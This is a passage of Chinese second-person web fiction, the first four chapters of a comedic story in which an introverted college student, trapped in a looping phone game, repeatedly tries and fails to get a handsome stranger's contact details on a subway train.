《被帅哥拒绝的1234次》
1. 索要帅哥的联系方式（1）
你是一个平平无奇的大学生。
唯一的不平平无奇就是学习不错。
可这点也随着你进入大学，也变得平平无奇。
你的大学到现在就是大写的四个字：
「平平无奇」。
你也一度幻想拥有人生的高光时刻。
可你没有。
你刚刚还被同学看似善意问得哑口无言。
一小时前，你在学校办公楼电梯前偶遇同班女同学。
你们彼此说了句“好巧”，就一起仰头注视电梯上方的黑色显示屏。
脚步声从你们身后传来。
你下意识回头。
是你最喜欢的专业课老师，年轻却格外负责，素来是温柔知性的形象。
你和老师礼貌打过招呼。
相比你的中规中矩，女同学热情许多，并很快和老师侃侃而谈。
你站在一边，耳边女同学的笑声像欢快的小百灵。
你的视线渐渐在小白鞋四周画地为牢。
女同学和老师谈起即将到来的学校文化节活动。
她是文艺部的部员，消息灵通。
你对于这个活动，一无所知。哦，不，你还是知道它在下个月中旬举办。
三个人等电梯，两个人相谈甚欢。
你的安静像秃子头顶的虱子。
其实你也想和老师说点什么，但你实在想不到该说什么。
以往你们的交谈仅限于你下课拿不懂的问题去问老师，老师耐心讲解。
可现下没了学习相关的问题，你在一旁成了个陪笑的摆件。
你在内心祈祷电梯快点下到一层。
电梯“叮”一声抵达，你如闻天籁。
老师和女同学先后进去，你落在最后，习惯性站在电梯厢一角。
你一抬头，和并排而站的她们对上视线。
你们的站位是个尴尬的三角，她们是一边，你是那个格格不入的顶点。
女同学突然捂嘴笑起来。
密闭的电梯厢，女同学的纤纤五指根本挡不住她灵动的笑声。
你不明就里，目光茫然落在两颗向你看来的脑袋中间——
虚无的空气上。
女同学突然走上前，拉过你的胳膊。
突如其来的亲热弄得你有点儿懵。
“你也报个活动吧，”女同学晃晃你的胳膊，“我可以在初审时给你开个小小的后门哦。”
说着她还抬起手，在你眼前捏起俏皮的“一点点”。
文化节活动？可你什么特长都没有啊……
你的笑干巴巴裂在脸上，脑袋呼哧带喘酝酿着得体的回绝方式。
你的手臂在她柔软的臂弯慢慢僵硬，她却毫无所觉。
没得到你的回应，她又转头去看老师。
你望着她黑漆漆的后脑勺，瞬间松了口气。
可没等这口气彻底舒完，那黑漆漆的后脑勺前传出亲昵的撒娇：“老师，你也帮我劝劝她吧。上大学，光知道闷头学习可不行，对吧？”
你有预感，这一刻，你在老师心中成了彻头彻尾的书呆子。
电梯巧恰这时停下，女同学松开你的手臂，跟着老师出去了。
你则像个灰扑扑的呆头鹅，被关上的电梯门带走了。
回寝室的一路，你都在复盘。
你该在和老师打完招呼时，聊起你上周末看过的那部电影，老师上周课上推荐的那部。
你也可以在女同学提起文化节时，顺口问老师大学时期是否参加过类似的活动。
老师要是回答“参加过”，你还可以就此向她讨教经验，让谈话得以延续。
你还可以在女同学提议“你也报个活动时”表现出感兴趣的积极样子。
即使，你最后根本不会报名。
你一路复盘到取快递的地方，发现其实处处是机会，处处可以改变，但都被你错过。
你从短信中翻出取件码，顺利取到快递。
你捧着白色的泡沫箱，扫了眼寄件人的名字：
「马丽苏」
马丽苏，玛丽苏，怎么一字之差，感觉土了一大截。
马丽苏，又土又洋的，你忍不住笑出声。
邮寄物品写的是：「火烧」
你从前没听过“火烧”，也不知道“火烧”到底是什么。
直到你有个室友天天在吃米饭的时候想念家乡的火烧。
听的次数多了，你不免好奇火烧到底是什么。
室友给你看了火烧的照片，你脱口而出：“这不就是大饼？”
下一秒，室友的眼刀便飞到你的脸上，涂得亮晶晶的嘴唇在你眼前一张一合：
“这、是、火、烧！”
你立马小鸡啄米般点点头，再也没提过“大饼”两个字。
在她的强烈推荐下，你加了个她老家的火烧店主，买了十个原味、十个椒盐味的火烧。
回到寝室，你拆了快递。
洗完手，你拿出个椒盐味的火烧，正准备咬，突然，想起了室友的百般交代，要加热过才最好吃。
于是，你把火烧丢进了空气炸锅。
五分钟后，你穿着家居服，叼着酥脆喷香的火烧爬上了上铺。
你平时不怎么在床上吃东西，但现在的你顾不了那么多。
如果不是条件有限，你甚至想在上铺涮火锅，感觉只有鲜切牛肉、羔羊卷、五花八门的丸子摆一桌才能缓解你此时说不清的心情。
你叼着火烧解锁手机，准备退而求其次在王者战场拿个五杀。
却意外发现王者app旁有个陌生的红色小火苗图标，下面写着：
「燃烧吧，小I人」
你挠了挠头。
完全不记得下过这样一款游戏。
但不得不说，这款游戏的名字特别吸引现在的你。
身为I人的你，现在特别想E起来。
你带着好奇点开图标。
“燃烧吧，小I人”六个字带着逼真的燃烧特效进入你的视野。下一秒，你整个人跌进了一个红色空间。
连同你口中叼着的火烧一起。
你眨眨眼，再眨眨眼，第三次眨眨眼。
你还在这个四周一片红的空间里。
但你没有害怕。
穿越、重生、赛博、ABO、人外，你在小说里见过不少世面。
终于，也轮到你做主角了吗？？？
你咬断口中的火烧，外脆内软，还带着恰到好处的椒盐香，真挺好吃。
你边嚼，边好奇地打量四周。
四周的红不是那种血淋淋吓人的红，相反，是很热情、富有能量的红。
光是看着它们，你就有种要立马干些什么的冲动。
你突然警觉起来。
你平时可不是这么有能量的人。
但你来不及多想，一道电子男音在空间里响起：“欢迎新玩家进入‘燃烧吧，
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小I人’游戏世界，请玩家创建专属的游戏ID。”
下一秒，一块闪着蓝光的透明电子面板横空出现在你面前。
你在美国大片里见过的那种科技满满的模样。
游戏编号那一栏已经有了信息：「2024」
下面游戏ID一栏空着，打头的光标不断闪烁，似乎在诱你快点输入。
你的目光停在编号2024上。
今年恰好是2024年，难道这个游戏一年只选一个玩家，你恰巧是2024年的天选之子？
你问出心中疑惑，回答你的却只有一道清晰的空白的电流音。
你怀疑这个游戏系统和你一样，有点而内向，但受到游戏规定，对玩家又要有问必答。
于是，你换了个问题：“为什么是我？”
电子男音再次有了内容：“游戏是受到你强烈的感召而来。”
你拿火烧慢慢指向自己的脸，语气三分犹豫，七分诧异：“我的……感召？”
“是的，系统检测到你的强烈情感波动，受到感召而来，旨在帮助玩家成为自己想成为的人。”
成为自己想成为的人？
真是个令人无法拒绝的诱惑。
你又咬了口火烧，点点头：“好吧。”
系统：“请玩家创建你的游戏ID。”
你抬起手指，点击面前科技感满满的屏幕，下方自动弹出26字母键盘。
就在你想去下方切换中文输入法时，快递上那个又土又洋的名字突然跃入脑海。
于是，你指尖一转，恶作剧般敲下：
「MarySu」，并点击了「确定」。
系统：“游戏开始。”
下一秒，你眼前一晕。
再睁开眼，你已经身在一节地铁车厢里。
面前出现块比刚才更大些的淡蓝透明面板，可以展示更多的字。
任务目标：「要到任务目标的联系方式。」
任务地点：「地铁站内。」
任务限时：「三十分钟。」
任务目标在哪？
你左看看右看看，长座椅上坐满了人，大家都在低头玩手机，没人注意到凭空降临的你。
你低头看看自己。
身上的家居服被游戏自动换成白色字母T加牛仔裤。
你手中的火烧竟然还在。
你抬头看向对面。
对面的长座上也坐满了人，一样在低头玩手机。
但比起你现实里习惯了的地铁，这节车厢仍显得空荡荡。
因为，站着的人只有一个。
男生背对着你，头上顶着金光闪闪的四个大字“任务目标”。
在你看到的下一秒，四个字便消失了。
这个游戏好智能。
难道是在任务目标头顶安装了虹膜识别软件？
你一看过去，就自动识别你已经发现了任务目标？
你默默在他后背观察。
男人很高。
车厢上方的银色扶手杆竟然只到他太阳穴附近的位置。
而你，平时用塑料悬吊扶手都要抬手。
他衣品很好。
上身是光泽度很好的薄荷绿拼白格衬衫，休闲风的白西裤，加上他身高腿长，背影看起来干净又清爽。
你把他从后脑勺打量到后鞋跟，心中不好的预感越来越重。
糟了。
这十有八九是个帅哥……
2. 索要帅哥的联系方式（2）
要男生的联系方式与要帅哥的联系方式，四舍五入，等于两件事。
听室友们往日的八卦会谈，你深知：随着男生颜值的升高，要联系方式的难度呈断崖式增长。
你毫不怀疑，这位背影一眼帅的男生遇过不少和他要联系方式的女生。
熟能生巧，你猜他拒绝给别人联系方式，应该也相当得心应手。
你下巴垂至胸前，胸腔的退堂鼓擂声震天，脚下几度跃跃欲试，屁股却坚定黏着座位一动不动。
和陌生人说话+陌生人是异性+异性是帅哥，叠buff般，让你的身体零件各有各的想法。
你现在甚至希望有容嬷嬷在背后一边用小针扎、扎、扎你，一边恶狠狠骂你：“还不给我往前爬！”
你受不了痛往前爬，爬到任务目标脚边，抓上他的裤脚，边哭边拽：“公子，你行行好，行行好，就告诉奴家联系方式吧。”
他甩甩裤脚，没甩开你。
你一把鼻涕一把泪，抹在他雪白的休闲西裤上，凄凄艾艾继续哭求：“正所谓，救人一命，胜造七级浮屠，您不说，奴家就要被身后那个恶婆娘扎死当场了，呜呜呜呜呜呜~”
他鄙薄扫一眼脚边涕泗横流的你，薄唇冷冷吐出了联系方式……
你被自己脑补的贵公子和小婢女古风大戏爽到了。
一睁开眼，却还在地铁里，目光正对着T恤胸口处的英文“BeBrave”。
你仿佛被一道金光当场劈中。
游戏换掉你原本的家居服，或许不只是不想让你在地铁里当显眼包……
你深吸一口气，把火烧塞进嘴里，手伸进大腿内侧，掐起一把嫩肉，狠狠一转。
下一秒，你猛地从座位上弹起。
左右纷纷朝你看来。
多亏你口中堵着火烧，一个痛音都没发出。
没了后续，左右乘客只当你起身的动作大了些，很快又把头埋进了更有趣的手机里。
你抹了把眼角的泪花，取下堵嘴的火烧，迈着疼痛依旧的右腿，一步步坚定向前。
终于，你来到了任务目标身旁。
来都来了，何况任务目标都看到你了，你总不能一声不吭吧？
先打个招呼，很简单的。
你给自己做着心理建设。
“帅哥……”你摇摇头，不行。
“帅哥”和你接下来要做的事情连在一起，容易让他误会你在搭讪他。
你是个正经人，绝不允许这种误会无端发生。
于是，你决定把称呼换成“同学”，他一瞧就是大学生模样。
就算不是也没关系，以你的经验，把人往年轻了叫没什么坏处。
“同学，可以给个电话号码吗？”你在心中默念完台词，又担心直接要电话号码太唐突。
要不，还是要微信吧？
他要不是真想加你，下了地铁还可以拒绝你的好友申请。
连婉拒的路都帮他想好了，你感觉自己成功的可能又大了几分。
游戏要你“要到任务目标的联系方式”，又没指定你们要成功联系上，到时候他拒绝加你，游戏也怪不到你头上。
一切准备好，你深吸一口气，字正腔圆开口：“同学？”
一秒、两秒、三秒、四秒、五秒……
半分钟过去了，你旁边的人从头到脖子到腰，正对着前方的地铁车窗，笔直得仿佛迎风而立的小白杨。
难道是你的声音太小了？
你仰头去找他的脸。
近距离一看，他好像更高了。
你看到他的头，脖子都仰得有些费力。
他是真、的、帅、啊。
皮肤透白而莹润，宛若刚削了皮的新鲜雪梨，眉毛浓黑而深，你的目光顺着他挺直的鼻梁上滑下来又荡上去，几番曲折跌进他不点而朱的唇上。
虽然你做了心理建设，但万万没料到对方是眉眼唇鼻处处是风景的
顶级帅哥。
早知道是这种程度，你得掐断了大腿才敢来。
要不，你还是弃游吧？
这个游戏虽然神奇，但也、也不是很好玩的样子……
你正要尝试呼唤系统，你的任务目标转过了头。
他可能没想到你这么矮，第一次的向左平视显然扑了个空。
你眼睁睁看着他轮廓分明的下颌慢慢下压、下压，最后找到了斜下方的你。
此时无声胜有声。
你绝对有理由怀疑他在嘲笑你的个子。
你们对上了视线。
如果此时你们中间有一面镜子，你能看到你正含嗔带怨看着他。
地铁高亮的白灯照射下，眼角还闪着晶莹的泪意。
他疑惑挑了下眉，似在等你说话。
这种贴脸开大的美颜暴击，你属实第一次遭遇。
本不灵光的嘴彻底卡壳了。
连带呼吸都小心翼翼起来，第一次，你切身体会了那句“不敢高声语,恐惊天上人。”
你脑中抓瞎到处寻着台词。
他脸上的耐心终于告罄。
你眼看他要转过身，飞起的衣摆和你想象中甩动的裤脚重合，你一把抓上他衣角，眼睛一闭，视死如归说：
“能加个微信吗！”
没听到声响，你悄咪咪睁开一隙眼。
他像被定了身一样，神情空白望向自己被攥住的衣角。
你反应过来，飞快收回手。
他的衣服却比不上的你反应速度，半天过去了，被你抓过的衣角还紧巴巴皱在一起。
太、太尴尬了。
你讪讪伸出手，对着衣角褶皱处拍了拍。
没什么效果。
你抬头望了望他一言难尽的表情，把背在身后的左手也拿出来。
左手还拿着火烧，当着他的面，你不好再把火烧叼在嘴里，犹豫一下，你把火烧顶在了头上。
空出的两手一起对着褶皱处左扯扯，右拉拉，上抻抻，下抖抖。
比你帮你妈一起抻刚洗好的床单认真了十倍不止。
在你的不懈努力下，如果不特意往那处瞧，几乎看不出褶皱了。
但、但你怎么感觉褶皱处周围的那圈薄荷绿看着有点暗？
不会是……沾上了油吧？
你后知后觉翻过自己的左手。
你的左手挺干净啊。
不过，不会是用它的衣服擦干净的吧？
你小心翼翼掀起眼皮，去看他对于这圈暗色的来源有什么想法。
不防，试探的目光被他逮在当场。
你下意识飞快低头，不料，头顶的火烧顺坡而下。
他眼疾手快接住下坠的火烧，你下半声惊呼跟着卡在嗓子里。
他拿着火烧，却不立马还给你，不知在犹豫什
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么。
稀薄的尴尬淡淡流荡在你们中间。
他难道是想尝一下，却不好意思开口？
你的任务目标或许是个吃货？
你想起刚刚你把火烧放在头上后，头顶一度火辣辣的，你有经验，那是被人顶视的感觉。
你的思路越来越顺，一路飞流直下，难怪游戏把你的火烧也带进来。
原来，这是通关秘诀！
你的任务目标看着是个脸皮薄的，你直接给，他怕是不好意思要。
于是，你费心给他搭了个梯子——把室友对你说的关于火烧的溢美之词一股脑说了一遍。
最后看似随意问出：“你要不要尝一下？”
你虽然没抬头，但头顶的火辣辣只比刚才更甚。
难道……是你猜错了？
你趁他没说出什么让你下不来台的话，装作若无其事从他手中拽回火烧，故作一脸轻松说：“这么好吃，你不愿就……”
“好。”他突然开口。
果然还是被你猜中了！
他伸出手，你随他动作看去。
他修长白净的指尖逐渐接近你联排咬出的两口月牙。
不知为何，你忽然生出被扒开嘴唇看牙口的羞耻感。
你掐着火烧的食指和中指以电光石火的速度将烧饼转了个圈，将两口月牙藏进掌心，
火烧以完整的模样重新展现在他眼前。
“掰吧。”你豪气开口。
大有他掰下一半你都不会介意的模样。
然后，你看那只好看的手捏上火烧的边缘，非常慎重掰下一口的量。
他把掰下的火烧送进口里，不露齿地端庄吃完。
你目光灼灼等他反馈。
他全部咽下去后，才开口：“挺好吃的。”
你满意点点头。
你也觉得这个火烧好吃，尤其是现在还温热着。
突然，车厢内响起温柔的女声播报：“列车运行前方是海城东路站。下车的乘客请提前做好准备……”
你前面坐着的人站起身，对你们说：“我要下车了，麻烦让一下。”
你让到一边。
地铁内的播报还在继续：“海城东路站是换乘车站。换乘地铁2号线的乘客，请您提前换到车门处，文明有序换乘。ThenextstationisHAICHENGDONGLU.Pleasegetreadyforyourarrival……”
你听海城东路站是换成车站，还可以换成2号线，不免感叹游戏设定的完备。
你随下车的乘客走到门口，靠近打量车门上方的地铁线路图，好奇游戏的设定完备到了何种程度。
地铁停下，地铁门开启，乘客一个个下去。
满足了好奇心的你转回头，却震惊发现你的任务目标不见了！
你的头快速在车厢里左右寻找。
然后，非常凑巧看到你的任务目标在隔壁的车厢，正跨出车门。
你：？？？？？？？？
地铁门即将合上的提示音响彻车厢。
地铁门齐齐合上，下一秒，你面前的虚空跳出两个金光闪闪的英文单词：
「GameOver」
在你不知是该骂游戏还是那个吃了你火烧转头就跑的男人时，眼前一晕。
再睁开眼，你又出现在那截地铁车厢里。
3. 索要帅哥的联系方式（3）
对面还是那些熟悉的头顶。
左右还是惊讶看你猛然站起的熟悉面庞。
你的任务目标，也好生生背对你扶着栏杆站着。
你低下头，手里正握着个火烧，火烧上有熟悉的并排两口月牙。
你将火烧摊放在掌心。
火烧明显比刚才热了不少，两口月牙对面也不见某人掰下的缺口。
这下你彻底确定了，游戏重置了。
*
你盯着任务目标的背影，心中的千言万语最后只化成一句话：
上把你不该掐自己大腿，你、该、掐、他、的！
算了。
上一回合，是你太过草率。
太过想当然套用平时玩密室逃脱的思路，发现点什么都觉得是线索，白T上的英文“BeBrave”、带进游戏的火烧，都是你的自相情愿。
你需要的根本不是BeBrave，你需要的是明明是BeSmart。
这一回合，你不能草率，你要以智取胜。
鉴于你的智慧点平时并没有加在和异性交往上，于是，你决定找人取经。
你打开手机，仔细挑选对象，一边选一边把那个上回合迷惑你的罪魁祸首之一火烧一口一口吃掉。
你打开手机通讯录，里面倒是有不少人。
但陌生的名字对你来说不过是一串串无意义的符号。
你又打开微信，最上面是家庭群、寝室群、班级群等几个大学生微信里都会有的群。
下面有你备注为“爸爸”“妈妈”“闺蜜1”“闺蜜2”“闺蜜3”“竹马”的几个人。
好贴心的游戏，还给你设了备注。
“爸爸”“妈妈”首先被你pass了，你不敢想象自己和父母谈论这种话题。
现实中，你若遇到这种事最可能向你的好朋友讨教主意。
但这里有3个“闺蜜”，你猜她们大概是不同性格的人。
而且以你的经验，你要是在微信上问好朋友如何要男生的联系方式，她们的第一反应绝不是教你如何去做。
而是夺命连环call，先把你审个明明白白。
三个电话挨个接完，你猜你又能看到金光闪闪的“GameOver”了。
你合理怀疑“闺蜜1”“闺蜜2”“闺蜜3”是游戏给你设的拦路虎，让你不仅要花时间去思考和123哪个咨询，还会被她们的好奇心拖住脚步。
竹马，你现实中没有，也pass。
手机通讯录和微信都行不通，你很快看中这部手机自带的另一个社交媒体软件“小红书”。
你现实中也常用小红书，虽然你从不发帖，只把它当好用的百度和吃瓜平台。
你想起曾刷过不少发照片求搭讪方式的帖子。
于是，你决定有样学样。
你举起手机，对着任务目标的背影随手一拍。
是的，那个平时替室友拍照恨不得趴在地上找连角度的你是故意的。
你也不替他修图，你还记得他吃了你一口火烧就跑的事。
你打开小红书，选择发帖，一秒上传照片，回忆着你看过的那些求搭讪方式帖子的话术，快速编辑完，点击了发布。
你盯着消息一栏，等待着小红点出现。
有了游戏效果的加成，你很快收到了评论。
你点开评论，信心满满等着看网络海后们的锦囊妙计，结果看到的却是：
「我艹，好帅一男的！」
你：“？？？”
你疑惑点开你发布的帖子，把照片放大。
你明明没给他找角度……
你不得不承认长相平平无奇的你无法凭经验get的一个事实：
好看的人拍照根本不需要找角度。
甚至，他们不需要露脸。
你举起火烧，恨恨咬一大口。
盯着某人的背影照，把火烧当成某人来用力嚼。
吃完，你退出这张让人emo的照片，去翻新的评论。
一会儿功夫，又多了几十条评论。
打头几个清一色舔屏啃颜的，还有问你要到联系方式能不能给她分享一下的。
你想起了那句网络流行语：
“全是来拉屎的，就没一个递纸的。”
你继续往下翻。
终于，你看到一个递纸的。
哦，不，是出主意的。
第一位仗义出手的姐妹名字相当有个性。
性感母蟑螂：「这种亮色的薄荷绿非白皮不能驾驭，盲猜是个帅哥，姐姐教你一个套路。你上去夸他穿这件衬衫特别有范儿，说自己也想给亲弟弟买个同款（一定要强调是亲的，眨眼jpg.），问他能不能给个购物链接？」
你回复：「可我需要的是联系方式啊？」
性感母蟑螂秒回：「一看就是个单纯妹妹。发购物链接不得加个微信啊？」
对哦！
你赶紧回复她一串爱心，并把这个回答加入候选名单。
你继续往下翻，很快，又有一条评论引起了你的兴趣。
Momo：「你直接把这条小红书拿给他看，他自然会明白你想要他联系方式的真心。」
这条其实很适合现实中I人的你。
你甚至不用说话，把手机屏幕怼他眼皮子底下就行。
不过，就他上关的表现，你估计成功的概率微乎其微。
但你还是给Momo大军点了个赞。
很快，你又刷到一条让你感兴趣的：
唐吉坷德在北海吹冷风：「你可以假装手机丢了，问他借手机给自己打电话。Ps:记得提前给手机静音！！！」
那三个强烈的感叹号让你不得不怀疑这背后有故事。
这条好像还不错。
但你一抬头，对面光可鉴人的车厢玻璃把你拿着手机的画面映得一清二楚。
无论是上回合还是现在，你都不曾看他拿出手机来玩，他好像一直在目视前方。
虽然，对现在的他来说，你只是玻璃里一排玩手机的人的其中一个，但你不能冒这个险。
你又刷了几分钟，没有发现更好的方案。
于是，你决定采用“性感母蟑螂”友情提供的方案。
你将性感母蟑螂的说辞在心中稍作改动，又反复检查了两遍，起身走上前去。
这次，你没喊他“同学”。
你对玻璃里的他招了招手。
如你预期，他捕捉到你的挥手动作，低头朝你看来。
不像上次，他先在同海拔的空气里找了番，这次他一下就准确找到你。
你不必再经历身高羞辱。
他低头疑惑看着你。
你笑了。
带着他毫不知情的小愉悦。
你指了下后面你站起来后空下来的位置：“我坐在那里就注意到了你……”
你看他的表情，猜他有点好奇你接下来要说什么。
“我很喜欢绿色，但很少遇到不夸张的绿色衣服，你身上这件衬衫的薄荷色似乎混了些黄调，明亮却不刺眼，给人恰到好处的感觉。”你盯着他的肩膀侃侃而谈，由于内容过于真实，你说起来出乎预料地毫不紧张，“你可以把这件衣服的购物链接分享给我吗？”
末尾，你抬头看向他，露出真诚的礼貌笑容，并鸡贼地提前说了句：“谢谢”。
把他架上了“好人”的高台。
他面上有些犹豫：“这件衬衫是男款。”
你却早料到他会有此一说，笑着点点头：“我知道，但是我喜欢boyfriend风的穿搭。”
他若有所悟点点头。
你看向他的笑容更加真诚了。
与此同时，你背在身后的手解锁了手机。
亮起的屏幕显示的正是微信页面。
他原本只是侧低头看你，现在，整个人转向你。
你盯着他的手，等他拿出手机。
不料，他抬起的手指向衬衫胸口。
你跟着看去，却不知道他想给你展示什么。
他：“衬衫是我在实体店买的，VERSACE的。抱歉，不能给你分享购物链接。”
你怔住了。
他似乎以为你没听懂，又贴心说了品牌的中文名：“是范思哲这季的新款，你去专柜应该可以找到。”
你：“……”
大学期间，
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你一直在淘宝上买衣服，竟然自动忽略了他的衣服或许是在实体店买的这种可能。
原本，衣服是在实体店买的问题也不大。
你还可以让他告诉你店铺位置，在他企图用口头说明白的时候装傻，加上微信让他分享个位置。
但偏偏、偏偏他的衣服是个国际大牌。
这种品牌在城市哪里有专柜，一搜就知道。
你沉默点下头，转身走回自己原来坐的位置。
你又失败了。
以你不曾预想的方式。
他的背影笔直依旧。
望着望着，你灵光一闪，他不告诉你联系方式，你可以找别人问啊。
这种罕见级别的帅哥，应该有不少人认识他吧。
你可以尝试在小红书全网“捞”他啊。
这种捞帅哥的帖子，你刷过没有几百也有几十，只要人长得够帅，大多最后都有好消息。
要不到电话微信这种私密的联系方式，微博抖音快手小红书这种社交媒体的账号也可以。
谁让游戏不谨慎，设定让你要“任务目标的联系方式”？
只要能私信联系的方式，在你这里，就都算联系方式。
你依旧用那张随手拍的照片，不过变动了发帖内容。
你不再询问网友如何向他本人要联系方式，你问大家有没有人认识这个帅哥，求个帅哥的联系方式。
帖子发出后，很快又有了回复。
你一一浏览，虽然你变更了发帖内容，但一部分的网友还是在讨论他的颜值。
没错，对着背影脑补讨论。
你断断续续看到几个网友提出质疑，问照片上没有脸，他们怎么确定是不是他们身边认识的人。
但这些评论根本不用你回复，早有热心的网友替你回复：
「你身边有没有背影这么帅的，自己没点b数啊？」
这位网友简直是你的互联网顶级嘴替。
你平时可不敢这么怼人。
但网友的质疑也有些道理。
你之所以只发背影照，多少是觉得把别人的脸发在互联网上是暴露了他人的隐私。
但仔细一想，这不过是个游戏，他不过是个纸片人。
你再次走到他身边。
这次，你没再以任何方式叫他。
你举起手机，打开摄像头，理了理自己的刘海和头顶翘起的丸子发苞，又对着玻璃里的自己反复调整表情。
你的室友们对着镜子拍照前总这样做，你模仿起来有模有样。
对着前方玻璃拍了几张后，你悄悄将镜头向右偏了个角度，飞快按下拍照键。
然后，你装作拍够了的模样，放下手机，转身走回对面坐下。
拿起手机检查照片前，你偷瞄了对面一眼。
他依旧笔直背对着你。
于是，你放心打开相册，找出最后拍的那张照片。
照片上，玻璃里朦胧映出他无可挑剔的侧脸。
你迅速将照片补传到刚才的帖子。
有了正脸照，大家在贴子里讨论的热情明显到达了新高度。
你一边监控着不断出来的新评论，一边注意着大家在原有评论下的讨论进度。
终于刷到一个说“像xxx”的评论，你立马私信了对方确定。
忽然，安静的车厢里响起了熟悉的报站声：“列车运行前方是海城东路站。下车的乘客请提前做好准备……”
你从手机屏幕上茫然抬起头，心中唯一的想法是：
完了！
你看向车门，地铁门上方，「海城东路站」预示到站的绿灯闪个不停。
你低下头，手机屏幕上，对方发来的照片和任务目标大相径庭。
最后的希望破灭。
你无力回天，干脆紧盯着任务目标的背影。
你倒是要看看，这次没了吃你火烧那一茬，他到底还会不会特意走去隔壁车厢下车？
地铁到站停下。
那些熟悉的背景板乘客从座位上先后站起，走到地铁车门前，井然有序下车。
你的任务目标果然没有走去隔壁车厢。
但他怎么还站在原地？
4. 索要帅哥的联系方式（4）
地铁门彻底关上，你的任务目标依旧好生生站在原地。
原来，他本不会在海城东路站下车。
原来，他为了躲你，不止特意跑去隔壁车厢下车。
他还提、前、下、车、了！！！
你到底干什么了，为了躲你，他甚至提前下车？！
吃了你的火烧，一句谢没有就罢了；
下车前一句招呼不打你也能忍；
但至于为了躲你干脆提前下车吗？
你是问他“能加个微信吗”，又不是问“能睡个你吗”？
你气得心肝乱颤，亏你还为他着想，为了让他可以婉拒，退而求其次改要微信。
看着吧，今天你一定要他亲口说出他的联系方式！
谁告诉你都不用，你一定要他亲口说出！！
地铁平稳行驶。
海城东路站下了几个人，乘客不再像沙丁鱼罐头，人贴着人坐着，自然而然分散开来。
你的座位更加宽裕。
对面也是，甚至明显空出两个座位。
然而，你的任务目标依旧站着。
你原本猜想，车厢的座位坐得满满当当，是为了让你的任务目标合理站着，让你一眼可以看到他。
现在看来，你似乎太过想当然。
对衬衫上的英文BeBrave是；
对现在囫囵个在你肚子里的火烧是；
对你任务目标下车地点的确定也是。
思维会拐弯，但不多，只一个。
你沉下心来，以冷静的眼光旁观着一切。
下一站在你平静的审视中到来。
地铁门打开，车厢里的人三三两两站起，往门口走去，下了车。
地铁门重新合上。
期间，你的任务目标一直站在原地。
旁观的心态让你注意到一件你一直看到却不曾放在心上的事：
他没有在玩手机，也就是说，你从始至终都不曾见他拿出过手机。
那么，有两种可能：手机在他身上，手机压根不在他身上。
前者，你环视一周，除了你和他，无一不抱着个手机低头在看些什么。
而你，在看他；
他在看什么，你就不得而知了。
这样的话，你恐怕他比你想象的更加有个性。
后者的话，他是简单了，但你不得不面对一个有些麻烦的问题：你之前的种种尝试都建立在他身上有手机的情况。
如果他的手机并不在身上，你不仅之前努力错了方向，之后可以尝试的问时间、借手机这种常见的搭讪套路也统统被堵死。
面前可选择的路瞬间清晰起来。
首先，你要确定他是否随身携带了手机。
这次你目标明确，没再犹豫。
你站起身，走到他身边站着。
你拿出手机，查看你全网捞他的帖子的新回复。
在他眼皮子底下做这件事，你有种说不出的快感。
看完最新一条评论，亦然没有关于他身份的确切线索，你将手机锁屏。
你抬起头，握着手机对着镜子里的他挥了挥手，不无意外，他看向了你。
你仿佛小视频里热情的东北阿姨，自来熟笑道：“你怎么不刷手机？”
他：“人类的大脑喜欢新鲜事物，看到新鲜事物会分泌多巴胺，多巴胺会让人感到快乐。”
你有一点儿懵，怎么说起了人类的大脑？
“每当点开一个新视频或者……”他顿了下，一脸正经的继续“刷到一个新评论，大脑会分泌多巴胺，让人感到快乐，从而不停想点开下一个。长时间刷手机，多巴胺持续分泌，会破坏它的正常运行机制。同时，大脑又拥有反沉迷系统，会削弱重复行为带来的多巴胺刺激。两者共同作用的结果是，刷手机会逐渐变得无聊却又停不下来。”
“也就是俗称的，上瘾了。”说完，黑白分明的眼意味不明望着你。
一长串科普般的回答让你短暂忘记了自己的来意。
你怀疑他看到了你在他旁边的小动作，在阴阳你。
你又怕是自己多心，他只是单纯想给你科普。
你冲他微笑点点头，然后问他：“所以，你今天带手机了吗？”
他这次是明显愣住了。
你怀疑你的“所以”，让他有逻辑的大脑卡了bug。
你莫名喜欢他现在呆呆的表情。
“带了。”他回答完仍看着你的脸，没像之前几次很快移开视线。
很明显，他在等待你的解释，或者下一个相关的问题。
得到了答案，你毫无留恋，转身就走。
你心里爽了，这次就让他莫名其妙吧。
你回到座位坐下，他又恢复了原来的站姿。
你下意识琢磨着他之前那番话，到底有没有在阴阳你，就没再拿出手机。
四站过后，车厢内响起即将抵达动物园站的提醒，你看他有了动作。
他走去车门，站到了即将要下车的队伍末尾。
他朝后望了下，你们隔空对上了视线。
你读不懂他的表情，但你怀疑他是在对“所以”的前因后果恋恋不舍。
他前面的人很快下车，他也落后一步跟上。
你拿起手机，解锁看了眼现在的时间「14：49」，地铁门合上的声音从不远处传来。
你记得这回合游戏重启时，你在手机上挑选可咨询目标时扫了眼右上角的时间，是「14：20」。
29分钟过去了，难怪任务限时设定为「三十分钟」。
你再抬头，看到地铁门彻底合上，金光闪闪的「GameOver」出现在地铁门后的虚空中。
你又发现了个被你忽略的细节。
「GameOver」是在地铁门合上后才出现的，不是在任务目标下车的那一刻出现的。
你第一次看到时想当然以为是任务目标的离开导致了游戏的失败。
地铁门关上其实还意味着一件事：你没办法赶下车去追他，你们就此彻底失去了接触的可能。
你想到任务面板上要求的任务地点是「地铁站内」，而不是地铁车厢内。
也就是说，第一回合，如果你看到他下车的举动，立马拔腿去追，第一回合说不定不会那么草率结束。
眼前一晕，你再睁开眼，毫不意外发现你身在地铁车厢里。
两侧的乘客在低头玩手机，对面，你的任务目标背对着你站着。
上回合被你吃干抹净的火烧又回到了你手里，带着熟悉的并排两口月牙。
还有些微微烫手。
真是厉害了，连温度都可以还原。
这次你都不用特意确定了，游戏又重置了。
你有点后悔买的快递是一块一个的火烧，早知道你该买视频里刷到的10克1800元的鱼子酱，然后在这个游戏里反复失败一百次，怒赚游戏178200元。<
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/p>
俗话说的好，“垃圾是放错地方的资源。”
看来，失败也是。
这次，你没再拿出手机。
你告诉自己，你不拿出手机只是为了让自己这一回合有更多的选择。
你盯着他的背影，一口口吃着手里的火烧，一个完美的行动方案在脑中逐步成型。
即将抵达海城东路站的提醒声第三次响起。
你望向车门。
粉红碎花长裙的阿姨排在队末，最后一个迈出车厢，你心里默数到18，地铁门缓缓合上。
你闭上了眼，听到地铁重新运行。
你没再睁开眼。
你决定好好睡一觉，养足精神和体力。
下一回合，才是你的战场。
你真的睡着了。
睡梦中，你没看到你的任务目标是何时离开的，也没再看到代表失败的GameOver。
